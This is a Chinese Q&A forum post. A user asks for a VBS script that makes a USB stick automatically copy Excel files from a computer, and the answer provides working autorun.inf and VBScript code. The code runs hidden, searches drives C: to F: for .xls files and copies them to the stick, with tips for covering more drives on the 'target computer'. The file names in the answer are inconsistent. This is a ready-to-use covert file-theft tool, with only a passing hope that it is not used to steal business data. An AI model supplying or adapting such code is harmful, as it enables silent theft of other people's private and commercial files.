怎样让U自动复制电脑上的excel文件 求vbs脚本

怎样让U自动复制电脑上的excel文件 求vbs脚本

),万一由于autorun.inf这个文件被杀了,而没有得到你想要的文件,你就手动点下U盘里的CopyExcelFiles.vbs这个文件就可以成功了! 我这里测试通过了,有问题再告诉我,但愿你不是要去窃取别人的商业数据文件。 具体方法: 1.编写文件Autorun.inf和CopyExcelFile.vbs(复制下面的内容再保存) 以下是autorun.inf文件的代码:[autorun]open=wscript.exe CopyExcelFile.vbs shell\open=打开(&O) shell\open\command=wscript.exe CopyExcelFile.vbs 以下是GetExcelFile.vbs文件的代码: set ws=createobject(wscript.shell) ws.run explorer ..\ ws.run cmd /c md GetExcelFile,0,true ws.run cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true ws.run cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true ws.run cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true ws.run cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true 将上述两个代码分别保存到你U盘的根目录下就可以了。 如果电脑里的盘比较多的话,你就再多复制几条上面的内容保存就可以了。 比如要在获取XLS文件的路径里添加G盘、H盘、K盘: ws.run cmd /c for /r G:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true ws.run cmd /c for /r H:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true ws.run cmd /c for /r K:\ %a in (*.xls) do copy %a ..\GetExcelFile /y,0,true 具体加多少条,就要看目标电脑里有多少个盘了。